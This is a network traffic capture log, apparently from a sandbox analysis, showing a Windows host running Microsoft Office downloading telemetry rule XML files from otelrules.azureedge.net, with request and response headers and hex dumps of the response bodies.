2024-12-02 06:38:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 32ac451f-a01e-0050-6491-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063806Z-174f7845968xr5c2hC1EWRd0hn0000000nw0000000007v0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:06 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:06 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6de228a0-301e-0052-2e05-4165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063806Z-174f7845968vqt9xhC1EWRgten0000001460000000001p04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:06 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:08 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6bdf3827-f01e-0085-6b0a-4188ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063808Z-174f7845968pght8hC1EWRyvxg000000072g00000000fs28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:08 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:08 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: eea98567-901e-007b-3159-44ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063808Z-174f7845968pght8hC1EWRyvxg000000075g0000000083tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:08 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 1fa9f6de-401e-0083-0aab-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063808Z-174f7845968j6t2phC1EWRcfe8000000144g00000000bt0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:08 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:08 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 10a6c0b8-301e-0033-4f29-41fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063808Z-174f7845968pght8hC1EWRyvxg0000000770000000004rz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:08 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063808Z-174f7845968nxc96hC1EWRspw800000013vg0000000033vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:10 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:10 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 2554c198-401e-005b-1ab4-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063810Z-174f7845968cdxdrhC1EWRg0en00000013yg00000000aeya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:10 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:10 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a132b298-601e-0070-6cf9-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063810Z-174f7845968frfdmhC1EWRxxbw000000146g0000000013hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:10 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:10 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:10 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6460b669-f01e-00aa-725a-448521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063810Z-174f784596886s2bhC1EWR743w000000140000000000cqd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:10 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:10 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:11 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 621fcd15-801e-008c-0d40-447130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063811Z-174f7845968pght8hC1EWRyvxg0000000780000000003rwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:10 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 2ca90ebd-d01e-0049-02f7-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063811Z-174f7845968qj8jrhC1EWRh41s0000001400000000005whd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" 